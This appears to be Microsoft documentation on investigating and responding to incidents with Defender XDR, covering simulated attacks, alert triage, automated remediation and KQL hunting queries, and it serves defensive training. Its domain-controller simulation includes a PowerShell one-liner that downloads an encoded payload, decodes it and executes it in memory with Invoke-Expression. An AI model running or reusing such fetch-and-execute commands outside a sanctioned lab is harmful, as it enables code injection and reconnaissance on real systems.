Investigate and respond using Microsoft Defender

This article outlines the process to create incidents with attack simulations and tutorials and use Microsoft Defender to investigate and respond. Before starting this process, be sure you've reviewed the overall process for piloting and deploying Microsoft Defender and you have at least piloted some of the components of Microsoft Defender.

An incident in Microsoft Defender is a collection of correlated alerts and associated data that make up the story of an attack. Microsoft 365 services and apps create alerts when they detect a suspicious or malicious event or activity. Individual alerts provide valuable clues about a completed or ongoing attack. However, attacks typically employ various techniques against different types of entities, such as devices, users, and mailboxes. The result is multiple alerts for multiple entities in your tenant.

Note

If you're brand new to security analysis and incident response, see the Respond to your first incident walkthrough to get a guided tour of a typical process of analysis, remediation, and post-incident review.

End-to-end deployment for Microsoft Defender

This is article 6 of 6 in a series to help you deploy the components of Microsoft Defender XDR, including investigating and responding to incidents.

The articles in this series correspond to the following phases of end-to-end deployment:

Phase	Link
A. Start the pilot	Start the pilot
B. Pilot and deploy Microsoft Defender components	- Pilot and deploy Defender for Identity - Pilot and deploy Defender for Office 365 - Pilot and deploy Defender for Endpoint - Pilot and deploy Microsoft Defender for Cloud Apps
C. Investigate and respond to threats	Practice incident investigation and response (this article)

At any time during your pilot and deployment, you can test Microsoft Defender's incident response and automated investigation and remediation capabilities by creating an incident with a simulated attack and using the Microsoft Defender portal to investigate and respond.

Workflow for incident investigation and response using Microsoft Defender

Here's the workflow for investigating and responding to incidents using Microsoft Defender XDR in your production environment.

Follow these steps:

1. Gather threat intelligence to identify adversaries and their infrastructure
2. Simulate attacks with the Microsoft Defender portal
3. Prioritize incidents
4. Manage incidents
5. Examine automated investigation and response with the Action center
6. Use advanced hunting

Step 1. Gather threat intelligence to identify adversaries and their infrastructure

Microsoft Threat Intelligence in Microsoft Defender XDR provides indicators of compromise (IOCs), threat research, and analysis from Microsoft experts and other sources. You can review threat intelligence articles or search for threat actors, vulnerabilities, and other indicators to support your investigations. You can read articles or search for threat actors, vulnerabilities, and other IOCs to gain insight on the types of threats that you might want to investigate.

• For a tutorial on how to perform indicator searches and gather threat and adversary intelligence, see: Tutorial: Gather threat intelligence and perform infrastructure chaining
• For a tutorial on how to perform indicator searches to gather vulnerability intelligence, see: Tutorial: Gather vulnerability intelligence

For more information, see Microsoft Threat Intelligence in Microsoft Defender XDR

Step 2. Simulate attacks with the Microsoft Defender portal

The Microsoft Defender portal has built-in capabilities to create simulated attacks on your pilot environment:

• Attack simulation training for Microsoft Defender XDR for Office 365.

  In the Microsoft Defender portal, select Email & collaboration > Attack simulation training.

• Attack tutorials & simulations for Microsoft Defender XDR for Endpoint.

  In the Microsoft Defender portal, select Endpoints > Tutorials & simulations.

Defender for Office 365 attack simulation training

Defender for Office 365 with Microsoft 365 E5 or Microsoft Defender for Office 365 Plan 2 includes attack simulation training for phishing attacks. The basic steps are:

1. Create a simulation

   For step-by-step instructions on how to create and launch a new simulation, see Simulate a phishing attack.

2. Create a payload

   For step-by-step instructions on how to create a payload for use within a simulation, see Create a custom payload for attack simulation training.

3. Gaining insights

   For step-by-step instructions on how to gain insights with reporting, see Gain insights through attack simulation training.

For more information, see Simulations.

Defender for Endpoint attack tutorials & simulations

Here are the Defender for Endpoint simulations from Microsoft:

• Document drops backdoor
• Automated investigation (backdoor)

There are additional simulations from third-party sources. There's also a set of tutorials.

For each simulation or tutorial:

1. Download and read the corresponding walk-through document provided.

2. Download the simulation file. You can choose to download the file or script on the test device but it's not mandatory.

3. Run the simulation file or script on the test device as instructed in the walk-through document.

For more information, see Experience Microsoft Defender for Endpoint through simulated attack.

Simulate an attack with an isolated domain controller and client device (optional)

In this optional incident response exercise, you'll simulate an attack on an isolated Active Directory Domain Services (AD DS) domain controller and Windows device using a PowerShell script and then investigate, remediate, and resolve the incident.

First, you need to add endpoints to your pilot environment.

Add pilot environment endpoints

First, you need to add an isolated AD DS domain controller and a Windows device to your pilot environment.

1. Verify your pilot environment tenant has enabled Microsoft Defender.

2. Verify that your domain controller:

   • Runs Windows Server 2008 R2 or a later version.
   • Reports to Microsoft Defender for Identity and has enabled remote management.
   • Has Microsoft Defender for Identity and Microsoft Defender for Cloud Apps integration enabled.
   • Has a test user is created in the test domain. Administrator-level permissions aren't needed.

3. Verify that your test device:

   • Runs Windows 10 version 1903 or a later version.
   • Is joined to the AD DS domain controller domain.
   • Has Microsoft Defender Antivirus enabled. If you're having trouble enabling Microsoft Defender Antivirus, see Ensure that Microsoft Defender Antivirus is not disabled by a policy.
   • Is onboarded to Microsoft Defender for Endpoint.

If you use tenant and device groups, create a dedicated device group for the test device and push it to top level.

One alternative is to host your AD DS domain controller and test device as virtual machines in Microsoft Azure infrastructure services. You can use the instructions in Phase 1 of the simulated enterprise Test Lab Guide, but skip the creation of the APP1 virtual machine.

The following diagram shows the completed pilot environment.

You'll simulate an advanced attack that uses stealth techniques to hide from detection. The attack lists open Server Message Block (SMB) sessions on domain controllers. It also retrieves recent IP addresses of users' devices. Fileless in-memory attacks like this one don't drop files on the victim's device. Instead, they run only in memory. They "live off the land" by using built-in system and admin tools. They also inject code into system processes to hide what they're doing. This behavior helps them evade detection and persist on the device.

In this simulation, the scenario starts with a PowerShell script. In the real world, a user might be tricked into running a script. The script might also run from a remote connection to another computer from a previously infected device. This behavior suggests the attacker is trying to move laterally in the network. These scripts are hard to detect because admins also run scripts remotely for routine tasks.

During the simulation, the attack injects shellcode into a seemingly innocent process. The scenario requires the use of notepad.exe. We chose this process for the simulation, but attackers would more likely target a long-running system process, such as svchost.exe. The shellcode then goes on to contact the attacker's command-and-control (C2) server to receive instructions on how to proceed. The script attempts executing reconnaissance queries against the domain controller (DC). Reconnaissance allows an attacker to get information about recent user login information. Once attackers have this information, they can move laterally in the network to get to a specific sensitive account.

Important

For optimum results, follow the attack simulation instructions as closely as possible.

Run the isolated AD DS domain controller attack simulation

To run the attack scenario simulation:

1. Ensure that your pilot environment includes the isolated AD DS domain controller and Windows device.

2. Sign in to the test device with the test user account.

3. Open a Windows PowerShell window on the test device.

4. Copy the following simulation script:

   [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
   ;$xor = [System.Text.Encoding]::UTF8.GetBytes('WinATP-Intro-Injection');
   $base64String = (Invoke-WebRequest -URI "https://wcdstaticfilesprdeus.blob.core.windows.net/wcdstaticfiles/MTP_Fileless_Recon.txt" -UseBasicParsing).Content;Try{ $contentBytes = [System.Convert]::FromBase64String($base64String) } Catch { $contentBytes = [System.Convert]::FromBase64String($base64String.Substring(3)) };$i = 0;
   $decryptedBytes = @();$contentBytes.foreach{ $decryptedBytes += $_ -bxor $xor[$i];
   $i++; if ($i -eq $xor.Length) {$i = 0} };Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($decryptedBytes))
   

   Note

   If you open this article on a web browser, you might encounter problems copying the full text without losing certain characters or introducing extra line breaks. If this is the case, download this document and open it on Adobe Reader.

5. Paste and run the copied script in the PowerShell window.

Note

If you're running PowerShell using remote desktop protocol (RDP), use the Type Clipboard Text command in the RDP client because the CTRL-V hotkey or right-click-paste method might not work. Recent versions of PowerShell sometimes will also not accept that method, you might have to copy to Notepad in memory first, copy it in the virtual machine, and then paste it into PowerShell.

A few seconds later, the Notepad app will open. A simulated attack code will be injected into Notepad. Keep the automatically generated Notepad instance open to experience the full scenario.

The simulated attack code will attempt to communicate to an external IP address (simulating the C2 server) and then attempt reconnaissance against the domain controller through SMB.

The following console output confirms that the simulated reconnaissance action completed successfully against the domain controller:

ran NetSessionEnum against [DC Name] with return code result 0

To see the Automated Incident and Response feature in action, keep the notepad.exe process open. You'll see Automated Incident and Response stop the Notepad process.

Investigate the incident for the simulated attack

Note

Before we walk you through this simulation, watch the following video to see how incident management helps you piece the related alerts together as part of the investigation process, where you can find it in the portal, and how it can help you in your security operations:

Switching to the SOC analyst point of view, you can now start to investigate the attack in the Microsoft Defender portal.

1. Open the Microsoft Defender portal.

2. From the navigation pane, select Incidents & Alerts > Incidents.

3. The new incident for the simulated attack will appear in the incident queue.

   

Investigate the attack as a single incident

Microsoft Defender correlates analytics and aggregates all related alerts and investigations from different products into one incident entity. By doing so, Microsoft Defender shows a broader attack story, allowing the SOC analyst to understand and respond to complex threats.

The alerts generated during this simulation are associated with the same threat, and as a result, are automatically aggregated as a single incident.

To view the incident:

1. Open the Microsoft Defender portal.

2. From the navigation pane, select Incidents & Alerts > Incidents.

3. Select the newest item by selecting the circle to the left of the incident name. A side panel displays additional information about the incident, including all the related alerts. Each incident has a unique name that describes it based on the attributes of the alerts it includes.

   The alerts that are shown in the dashboard can be filtered based on service resources: Microsoft Defender for Identity, Microsoft Defender for Cloud Apps, Microsoft Defender for Endpoint, Microsoft Defender XDR, and Microsoft Defender for Office 365.

4. Select Open incident page to get more information about the incident.

   In the Incident page, you can see all the alerts and information related to the incident. The information includes the entities and assets that are involved in the alert, the detection source of the alerts (such as Microsoft Defender for Identity or Microsoft Defender for Endpoint), and the reason they were linked together. Reviewing the incident alert list shows the progression of the attack. From this view, you can see and investigate the individual alerts.

   You can also select Manage incident from the right-hand menu, to tag the incident, assign it to yourself, and add comments.

Review generated alerts

Let's look at some of the alerts generated during the simulated attack.

Note

We'll walk through only a few of the alerts generated during the simulated attack. Depending on the version of Windows and the Microsoft Defender products running on your test device, you might see more alerts that appear in a slightly different order.

Alert: Suspicious process injection observed (Source: Microsoft Defender for Endpoint)

Advanced attackers use sophisticated and stealthy methods to persist in memory and hide from detection tools. One common technique is to operate from within a trusted system process rather than a malicious executable, making it hard for detection tools and security operations to spot the malicious code.

To allow the SOC analysts to catch these advanced attacks, deep memory sensors in Microsoft Defender for Endpoint provide our cloud service with unprecedented visibility into various cross-process code injection techniques. The following figure shows how Defender for Endpoint detected and alerted on the attempt to inject code to notepad.exe.

Alert: Unexpected behavior observed by a process run with no command-line arguments (Source: Microsoft Defender for Endpoint)

Microsoft Defender for Endpoint detections often target the most common attribute of an attack technique. This method ensures durability and raises the bar for attackers to switch to newer tactics.

We employ large-scale learning algorithms to establish the normal behavior of common processes within an organization and worldwide and watch for when these processes show anomalous behaviors. These anomalous behaviors often indicate that extraneous code was introduced and is running in an otherwise trusted process.

For this scenario, the process notepad.exe is exhibiting abnormal behavior, involving communication with an external location. The detection of this abnormal external communication is independent of the specific method used to introduce and execute the malicious code.

Note

Because this alert is based on machine learning models that require additional backend processing, it might take some time before you see this alert in the portal.

Notice that the alert details include the external IP address—an indicator that you can use as a pivot to expand investigation.

Select the IP address in the alert process tree to view the IP address details page.

When you select an IP address in the alert process tree, the IP address details page opens and shows additional information about the address.

Alert: User and IP address reconnaissance (SMB) (Source: Microsoft Defender for Identity)

Enumeration using Server Message Block (SMB) protocol enables attackers to get recent user sign-in information that helps them move laterally through the network to access a specific sensitive account.

In this detection, an alert is triggered when the SMB session enumeration runs against a domain controller.

Review the device timeline with Microsoft Defender for Endpoint

After exploring the various alerts in this incident, return to the incident's main Incident page in the Microsoft Defender portal. Select the Devices tab in the incident page to review the devices involved in this incident as reported by Microsoft Defender for Endpoint and Microsoft Defender for Identity.

Select the name of the device where the attack was conducted, to open the entity page for that specific device. In that page, you can see alerts that were triggered and related events.

Select the Timeline tab to open the device timeline and view all events and behaviors observed on the device in chronological order, interspersed with the alerts raised.

Expanding some of the more interesting behaviors provides useful details, such as process trees.

For example, scroll down until you find the alert event Suspicious process injection observed. Select the powershell.exe injected to notepad.exe process event below it, to display the full process tree for this behavior under the Event entities graph on the side pane. Use the search bar for filtering if necessary.

Review the user information with Microsoft Defender for Cloud Apps

On the incident page, select the Users tab to display the list of users involved in the attack. The table contains additional information about each user, including each user's Investigation Priority score.

Select the user name to open the user's profile page where further investigation can be conducted. For more information, see Investigate risky users in Defender for Cloud Apps.

Automated investigation and remediation

Note

Before we walk you through this simulation, watch the following video to get familiar with what automated self-healing is, where to find it in the portal, and how it can help in your security operations:

Navigate back to the incident in the Microsoft Defender portal. The Investigations tab in the Incident page shows the automated investigations that were triggered by Microsoft Defender for Identity and Microsoft Defender for Endpoint. In the following screenshot, only the automated investigation triggered by Defender for Endpoint is displayed. By default, Defender for Endpoint automatically remediates the artifacts found in the queue, which requires remediation.

Select the alert that triggered an investigation to open the Investigation details page. You'll see the following details:

• Alert(s) that triggered the automated investigation.
• Impacted users and devices. If indicators are found on other devices, these other devices will be listed as well.
• List of evidence. The entities found and analyzed, such as files, processes, services, drivers, and network addresses. These entities are analyzed for possible relationships to the alert and rated as benign or malicious.
• Threats found. Known threats that are found during the investigation.

Note

Depending on timing, the automated investigation might still be running. Wait a few minutes for the process to complete before you collect and analyze the evidence and review the results. Refresh the Investigation details page to get the latest findings.

During the automated investigation, Microsoft Defender for Endpoint identified the notepad.exe process, which was injected as one of the artifacts requiring remediation. Defender for Endpoint automatically stops the suspicious process injection as part of the automated remediation.

You can see notepad.exe disappear from the list of running processes on the test device.

Resolve the incident

After the investigation is complete and confirmed to be remediated, you resolve the incident.

From the Incident page, select Manage incident. Set the status to Resolve incident and select True alert for the classification and Security testing for the determination.

When the incident is resolved, it resolves all of the associated alerts in the Microsoft Defender portal and the related portals.

This wraps up attack simulations for incident analysis, automated investigation, and incident resolution.

Step 3. Prioritize incidents

You get to the incident queue from Incidents & alerts > Incidents on the quick launch of the Microsoft Defender portal. Here's an example.

The Most recent incidents and alerts section shows a graph of alerts and incidents from the last 24 hours.

To review and prioritize incidents, you can:

• Select Choose columns to show details about each incident or its affected entities. Use these details to decide which incidents to analyze first.

• Apply filters to focus on a specific threat or scenario. Filters help you spot which incidents need quick action.

From the incident queue, select Filters to open the Filters pane. Use it to narrow the list to a specific set of incidents. Here's an example.

For more information, see Prioritize incidents.

Step 4. Manage incidents

You can manage incidents from the Manage incident pane for an incident. Here's an example.

You can display this pane from the Manage incident link on the:

• Properties pane of an incident in the incident queue.
• Summary page of an incident.

Here are the ways you can manage your incidents:

• Edit the incident name

  Change the automatically assigned name based on your security team best practices.

• Add incident tags

  Add tags that your security team uses to classify incidents, which can be later filtered.

• Assign the incident

  Assign it to a user account name, which can be later filtered.

• Resolve an incident

  Close the incident after it has been remediated.

• Set its classification and determination

  Classify and select the threat type when you resolve an incident.

• Add comments

  Use comments to track progress, add notes, or share other details. You can view the full comment history from the Comments and history option on the incident details page.

For more information, see Manage incidents.

Step 5. Examine automated investigation and response with the Action center

Based on your organization's setup, remediation actions run automatically or wait for your security team to approve them. The Action center lists all actions in one place, whether pending or done. It covers devices, email & collaboration content, and identities.

Here's an example.

From the Action center, select pending actions. Then approve or reject them in the flyout pane. Here's an example.

Approve or reject pending actions as soon as you can. This helps your automated investigations finish on time.

For more information, see Automated investigation and response and Action center.

Step 6. Use advanced hunting

Note

Before we walk you through the advanced hunting simulation, watch the following video to understand advanced hunting concepts, see where you can find it in the portal, and know how it can help you in your security operations.

If the optional fileless PowerShell attack simulation were a real attack that reached the credential access stage, you can use advanced hunting at any point in the investigation. Advanced hunting lets you search through events and records in the network using what you already know from alerts and affected entities.

For example, use info from the User and IP address reconnaissance (SMB) alert to query the IdentityDirectoryEvents table for SMB session enumeration events. You can also find discovery activity in other protocols by querying the IdentityQueryEvents table.

Hunting environment requirements

There's a single internal mailbox and device required for this simulation. You'll also need an external email account to send the test message.

1. Verify that your tenant has enabled Microsoft Defender.

2. Identify a target mailbox to be used for receiving email.

   • This mailbox must be monitored by Microsoft Defender for Office 365

   • The device from requirement 3 needs to access this mailbox

3. Configure a test device:

   a. Make sure you're using Windows 10 version 1903 or later version.

   b. Join the test device to the test domain.

   c. Turn on Microsoft Defender Antivirus. If you're having trouble enabling Microsoft Defender Antivirus, see Ensure that Microsoft Defender Antivirus is not disabled by a policy.

   d. Onboard to Microsoft Defender for Endpoint.

Run the simulation

1. From an external email account, send an email to the mailbox identified in step 2 of the hunting environment requirements section. Include an attachment that will be allowed through any existing email filter policies. This file doesn't need to be malicious or an executable. Suggested file types are .pdf, .exe (if allowed), or an Office document type such as a Word file.

2. Open the sent email from the device configured as defined in step 3 of the hunting environment requirements section. Either open the attachment or save the file to the device.

Go hunting

1. Open the Microsoft Defender portal.

2. From the navigation pane, select Hunting > Advanced hunting.

3. Build a query that starts by gathering email events.

   1. Select Query > New.

   2. In the Email groups under Advanced hunting, double-click EmailEvents. You should see this in the query window.

      EmailEvents
      

   3. Change the time frame of the query to the last 24 hours. Assuming the email you sent when you ran the simulation above was in the past 24 hours, otherwise change the time frame as needed.

   4. Select Run query. You might have differing results depending on your pilot environment.

      Note

      You can add a where condition to filter results, as shown in the following step.

      

      Note

      Advanced hunting displays query results as tabular data. You can also opt to view the data in other format types such as charts.

   5. Look at the results and see if you can identify the email you opened. It might take up to two hours for the message to show up in advanced hunting. To narrow down the results, you can add the where condition to your query to only look for emails that have "yahoo.com" as their SenderMailFromDomain. Here's an example.

      EmailEvents
      | where SenderMailFromDomain == "yahoo.com"
      

   6. Select the resulting rows from the query so you can inspect the record.

      

4. Now that you have verified that you can see the email, add a filter for the attachments. Focus on all emails with attachments in the environment. For this simulation, focus on inbound emails, not those that are being sent out from your environment. Remove any filters you have added to locate your message and add "| where AttachmentCount > 0 and EmailDirection == "Inbound""

   The following query returns only inbound emails that have attachments, which narrows the results from your initial query:

   EmailEvents
   | where AttachmentCount > 0 and EmailDirection == "Inbound"
   

5. Next, include the information about the attachment (such as: file name, hashes) to your result set. To do so, join the EmailAttachmentInfo table. The common fields to use for joining, in this case are NetworkMessageId and RecipientObjectId.

   The following query builds on the previous one by joining the EmailAttachmentInfo table to add attachment details (such as file name and hashes) to your results. It also renames the timestamp field to EmailTimestamp so you can distinguish email timestamps from file action timestamps in later steps.

   EmailEvents
   | where AttachmentCount > 0 and EmailDirection == "Inbound"
   | project-rename EmailTimestamp=Timestamp
   | join EmailAttachmentInfo on NetworkMessageId, RecipientObjectId
   

6. Next, use the SHA256 value from the EmailAttachmentInfo table to find DeviceFileEvents (file actions that happened on the endpoint) for that hash. The common field here will be the SHA256 hash for the attachment.

   The following query extends the previous one by joining the DeviceFileEvents table using the SHA256 hash. This correlates email attachments with file actions on the endpoint, so you can see which devices received the file and what happened to it. The results include endpoint details from Microsoft Defender for Endpoint, such as device name, action type (filtered to FileCreated events), file storage location, and the account name associated with the process.

   EmailEvents
   | where AttachmentCount > 0 and EmailDirection == "Inbound"
   | project-rename EmailTimestamp=Timestamp
   | join EmailAttachmentInfo on NetworkMessageId, RecipientObjectId
   | join DeviceFileEvents on SHA256
   | where ActionType == "FileCreated"
   

   You've now created a query that will identify all inbound emails where the user opened or saved the attachment. You can also refine this query to filter for specific sender domains, file sizes, file types, and so on.

7. Functions are a special kind of join, which let you pull more TI data about a file like its prevalence, signer and issuer info, etc. To get more details on the file, use the FileProfile() function enrichment:

   EmailEvents
   | where AttachmentCount > 0 and EmailDirection == "Inbound"
   | project-rename EmailTimestamp=Timestamp
   | join EmailAttachmentInfo on NetworkMessageId, RecipientObjectId
   | join DeviceFileEvents on SHA256
   | where ActionType == "FileCreated"
   | distinct SHA1
   | invoke FileProfile()
   

Create a detection

Once you have created a query that identifies information that you'd like to get alerted about if they happen in the future, you can create a custom detection from the query.

Custom detections will run the query according to the frequency you set, and the results of the queries will create security alerts, based on the impacted assets you choose. Those alerts will be correlated to incidents and can be triaged as any other security alert generated by one of the products.

1. On the query page, remove the distinct SHA1 and invoke FileProfile() lines you added in the previous procedure, and then select Create detection rule.

   

   Note

   If you select Create detection rule and you have syntax errors in your query, your detection rule won't be saved. Double-check your query to ensure there's no errors.

2. Fill in the required fields with the information that will allow the security team to understand the alert, why it was generated, and what actions you expect them to take.

   

   Ensure that you fill out the fields with clarity to help give the next user an informed decision about this detection rule alert.

3. Select what entities are impacted in this alert. In this case, select Device and Mailbox.

   

4. Determine what actions should take place if the alert is triggered. For this detection rule, run an antivirus scan, though other actions could be taken.

   

5. Select the scope for the alert rule. Since this query involves devices, the device groups are relevant in this custom detection according to Microsoft Defender for Endpoint context. When creating a custom detection that doesn't include devices as impacted entities, scope doesn't apply.

   

   For this Microsoft Defender XDR pilot deployment, you might want to limit this rule to a subset of testing devices in your production environment.

6. Select Create. Then, select Custom detection rules from the navigation panel.

   

   

   From this page, you can select the detection rule, which will open a details page.

   

Expert training on advanced hunting

Tracking the adversary is a webcast series for new security analysts and seasoned threat hunters. It guides you through the basics of advanced hunting all the way to creating your own sophisticated queries.

See Get expert training on advanced hunting to get started.

Next steps

Incorporate information from Investigate and respond with Microsoft Defender into your SecOps processes.